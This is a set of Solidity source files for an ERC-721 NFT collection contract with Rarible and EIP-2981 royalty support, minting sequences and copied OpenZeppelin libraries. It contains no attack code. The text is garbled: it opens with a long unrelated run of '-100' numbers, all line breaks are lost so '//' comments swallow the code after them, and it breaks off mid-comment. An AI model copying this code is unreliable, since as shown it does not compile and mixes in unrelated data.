-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.8.0; import "./CoreERC721.sol"; // @bvalosek ERC-721 Token contract TAPCOA721 is CoreERC721 { constructor(string memory name, string memory symbol, uint16 feeBps) CoreERC721(CollectionOptions({ name: name, symbol: symbol, feeBps: feeBps, collectionMetadataCID: 'todo' })) { } } pragma solidity ^0.8.0; import "./@openzeppelin/AccessControlEnumerable.sol"; import "./@openzeppelin/ERC721Enumerable.sol"; import "./@openzeppelin/SafeMath.sol"; import "./interfaces/IOpenSeaContractURI.sol"; import "./interfaces/IRaribleRoyalties.sol"; import "./interfaces/IERC2981.sol"; import "./Sequenced.sol"; import "./TokenID.sol"; // constructor options struct CollectionOptions { string name; string symbol; string collectionMetadataCID; uint16 feeBps; } // data required to mint a new token struct TokenMintData { uint256 tokenId; string[] metadataCIDs; address royaltyRecipient; } // A general enumerable/metadata-enabled 721 contract with several extra // features added // // Adds: // - royality support (rarible, EIP2981) // - RBAC via AccessControlEnumerable // - tokenID parsing/validation // - sequenced functionality contract CoreERC721 is // openzep bases AccessControlEnumerable, ERC721Enumerable, // sequenced functionality Sequenced, // marketplace interfaces IRaribleRoyalties, IOpenSeaContractURI, IERC2981 { using TokenID for uint256; using SafeMath for uint256; // able to mint and manage sequences bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); // royality fee BPS (1/100ths of a percent, eg 1000 = 10%) uint16 private immutable _feeBps; // address to send royalties to mapping (uint256 => address) private _royaltyRecipients; // address private _royaltyRecipient; // ipfs base when calculating tokenURI string private _ipfsBaseURI = "ipfs://ipfs/"; // collection metadata string private _collectionMetadataCID; // token metadata CIDs mapping (uint256 => string[]) private _tokenMetadataCIDs; // token metadata index mapping (uint256 => uint) private _tokenMetadataIndexes; constructor (CollectionOptions memory options) ERC721(options.name, options.symbol) { address msgSender = _msgSender(); _setupRole(DEFAULT_ADMIN_ROLE, msgSender); _setupRole(MINTER_ROLE, msgSender); _feeBps = options.feeBps; _collectionMetadataCID = options.collectionMetadataCID; // TODO change royalty to custom wallet // _royaltyRecipient = _royaltyRecipient; // _royaltyRecipient = msgSender; } // --- // Admin // --- // swap out IPFS base URI function setIPFSBaseURI(string calldata uri) external { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "requires DEFAULT_ADMIN_ROLE"); _ipfsBaseURI = uri; } // set address that royalties are sent to function setRoyaltyRecipient(uint256 tokenId, address recipient) external { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "requires DEFAULT_ADMIN_ROLE"); _royaltyRecipients[tokenId] = recipient; } // --- // ERC-721 basics // --- // function burn(uint256 tokenId) public virtual { require(_isApprovedOrOwner(_msgSender(), tokenId), "not token owner"); _burn(tokenId); } // --- // Minting // --- // mint a new token for the contract owner and emit metadata as an event function mint(TokenMintData memory data) public { address msgSender = _msgSender(); uint256 tokenId = latestTokenId.add(1); require(hasRole(MINTER_ROLE, msgSender), "requires MINTER_ROLE"); // require(tokenId.isTokenValid() == true, "malformed token"); // require(tokenId.tokenVersion() > 0, "invalid token version"); // create the NFT and persist CID / emit metadata _mint(msgSender, tokenId); _tokenMetadataCIDs[tokenId] = data.metadataCIDs; // emit rarible royalty info _royaltyRecipients[tokenId] = data.royaltyRecipient; address[] memory recipients = new address[](1); recipients[0] = data.royaltyRecipient; emit SecondarySaleFees(tokenId, recipients, getFeeBps(tokenId)); } // start a sequence, mint some tokens, and complete a sequence function atomicMint(SequenceCreateData memory sequence, TokenMintData[] memory tokens) external { // no access control check here since each individual step is already checking roles startSequence(sequence); for (uint i = 0; i < tokens.length; i++) { mint(tokens[i]); } completeSequence(sequence.sequenceNumber); } // --- // Sequences // --- // start sequence function startSequence(SequenceCreateData memory data) override public { require(hasRole(MINTER_ROLE, _msgSender()), "requires MINTER_ROLE"); _startSequence(data); } // complete the sequence function completeSequence(uint16 number) override public { require(hasRole(MINTER_ROLE, _msgSender()), "requires MINTER_ROLE"); _completeSequence(number); } // --- // Metadata // --- // token metadata URI function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "invalid token"); string memory cid = _tokenMetadataCIDs[tokenId][_tokenMetadataIndexes[tokenId]]; return string(abi.encodePacked(_ipfsBaseURI, cid)); } // contract metadata URI (opensea) function contractURI() external view override returns (string memory) { return string(abi.encodePacked(_ipfsBaseURI, _collectionMetadataCID)); } // --- // rarible // --- // rarible royalties function getFeeRecipients(uint256 tokenId) override public view returns (address payable[] memory) { require(_exists(tokenId), "invalid token"); address payable[] memory ret = new address payable[](1); ret[0] = payable(_royaltyRecipients[tokenId]); return ret; } // rarible royalties function getFeeBps(uint256 tokenId) override public view returns (uint[] memory) { require(_exists(tokenId), "invalid token"); uint256[] memory ret = new uint[](1); ret[0] = uint(_feeBps); return ret; } // --- // More royalities (mintable?) / EIP-2981 // --- function royaltyInfo(uint256 tokenId) override external view returns (address receiver, uint256 amount) { require(_exists(tokenId), "invalid token"); return (_royaltyRecipients[tokenId], uint256(_feeBps) * 100); } // --- // introspection // --- // ERC165 function supportsInterface(bytes4 interfaceId) public view virtual override (IERC165, ERC721Enumerable, AccessControlEnumerable) returns (bool) { return interfaceId == type(IERC2981).interfaceId || interfaceId == type(IOpenSeaContractURI).interfaceId || interfaceId == type(IRaribleRoyalties).interfaceId // covers ERC721, ERC721Metadata, ERC721Enumerable || super.supportsInterface(interfaceId); } // --- // openzep Hooks // --- // open zep hook called on all transfers (including burn/mint) function _beforeTokenTransfer(address from, address to, uint256 tokenId) override internal virtual { // clean up on burn if (to == address(0)) { delete _tokenMetadataCIDs[tokenId]; } super._beforeTokenTransfer(from, to, tokenId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./AccessControl.sol"; import "./EnumerableSet.sol"; /** * @dev External interface of AccessControlEnumerable declared to support ERC165 detection. */ interface IAccessControlEnumerable { function getRoleMember(bytes32 role, uint256 index) external view returns (address); function getRoleMemberCount(bytes32 role) external view returns (uint256); } /** * @dev Extension of {AccessControl} that allows enumerating the members of each role. */ abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl { using EnumerableSet for EnumerableSet.AddressSet; mapping (bytes32 => EnumerableSet.AddressSet) private _roleMembers; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view override returns (address) { return _roleMembers[role].at(index); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view override returns (uint256) { return _roleMembers[role].length(); } /** * @dev Overload {grantRole} to track enumerable memberships */ function grantRole(bytes32 role, address account) public virtual override { super.grantRole(role, account); _roleMembers[role].add(account); } /** * @dev Overload {revokeRole} to track enumerable memberships */ function revokeRole(bytes32 role, address account) public virtual override { super.revokeRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {renounceRole} to track enumerable memberships */ function renounceRole(bytes32 role, address account) public virtual override { super.renounceRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {_setupRole} to track enumerable memberships */ function _setupRole(bytes32 role, address account) internal virtual override { super._setupRole(role, account); _roleMembers[role].add(account); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev Custom Variable */ uint256 public latestTokenId = 0; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { latestTokenId = tokenId; _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // opensea interface for providing information about the contract interface IOpenSeaContractURI { // get the URI for the metadata for the contract (collection) info on opensea function contractURI() external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // raribles royalty interface interface IRaribleRoyalties { // emitted on mint event SecondarySaleFees(uint256 tokenId, address[] recipients, uint[] bps); // addresses that should get the fee function getFeeRecipients(uint256 tokenId) external view returns (address payable[] memory); // fee basis points function getFeeBps(uint256 tokenId) external view returns (uint[] memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../@openzeppelin/IERC165.sol"; // taken from here: // https://eips.ethereum.org/EIPS/eip-2981 /** * @dev Implementation of royalties for 721s * */ interface IERC2981 is IERC165 { /* * ERC165 bytes to add to interface array - set in parent contract implementing this standard * * bytes4(keccak256('royaltyInfo()')) == 0x46e80720 * bytes4 private constant _INTERFACE_ID_ERC721ROYALTIES = 0x46e80720; * _registerInterface(_INTERFACE_ID_ERC721ROYALTIES); */ /** /** * @notice Called to return both the creator's address and the royalty percentage - this would be the main function called by marketplaces unless they specifically * need just the royaltyAmount * @notice Percentage is calculated as a fixed point with a scaling factor of 10,000, such that 100% would be the value (1000000) where, 1000000/10000 = 100. 1% * would be the value 10000/10000 = 1 */ function royaltyInfo(uint256 _tokenId) external returns (address receiver, uint256 amount); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // required downstream implementation interface interface ISequenced { // start a new sequence function startSequence(SequenceCreateData memory data) external; // complete the sequence (no new tokens can be minted) function completeSequence(uint16 number) external; } // state of a sequence enum SequenceState { NOT_STARTED, STARTED, COMPLETED } // data required to create a sequence struct SequenceCreateData { uint16 sequenceNumber; string name; string description; string image; } // Manage multiple parallel "sequences" Sequences can be "completed" in order to // prevent any additional tokens from being minted for that sequence abstract contract Sequenced is ISequenced { // announce sequence data event SequenceMetadata(uint16 indexed number, string name, string description, string data); // announce sequence complete event SequenceComplete(uint16 indexed number); // mapping from sequence number to state; mapping (uint16 => SequenceState) private _sequences; // determine status of sequence function getSequenceState(uint16 number) public view returns (SequenceState) { require(number > 0, "invalid sequence number"); return _sequences[number]; } // create a new sequence function _startSequence(SequenceCreateData memory data) internal { uint16 number = data.sequenceNumber; require(number > 0, "invalid sequence number"); require(_sequences[number] == SequenceState.NOT_STARTED, "sequence already started"); _sequences[number] = SequenceState.STARTED; emit SequenceMetadata(number, data.name, data.description, data.image); } // complete the sequence (no new tokens can be minted) function _completeSequence(uint16 number) internal { require(_sequences[number] == SequenceState.STARTED, "sequence not active"); _sequences[number] = SequenceState.COMPLETED; emit SequenceComplete(number); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // parse the encoded data in a token ID library TokenID { function tokenVersion(uint256 tokenId) internal pure returns (uint8) { return uint8(tokenId >> 31*8); } function tokenCollectionNumber(uint256 tokenId) internal pure returns (uint16) { return uint16(tokenId >> 28*8); } function tokenSequenceNumber(uint256 tokenId) internal pure returns (uint16) { return uint16(tokenId >> 26*8); } function tokenMintTimestamp(uint256 tokenId) internal pure returns (uint) { uint16 daystamp = uint16(tokenId >> 24*8); return uint(daystamp) * 60 * 60 * 24; } function isTokenValid(uint256 tokenId) internal pure returns (bool) { uint8 checksum = uint8(tokenId >> 30 * 8); uint256 masked = tokenId & 0xff00ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; uint8 computed = uint8(uint256(keccak256(abi.encodePacked(masked)))); return checksum == computed; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./Context.sol"; import "./ERC165.sol"; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping (address => bool) members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override { require(hasRole(getRoleAdmin(role), _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override { require(hasRole(getRoleAdmin(role), _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, getRoleAdmin(role), adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the 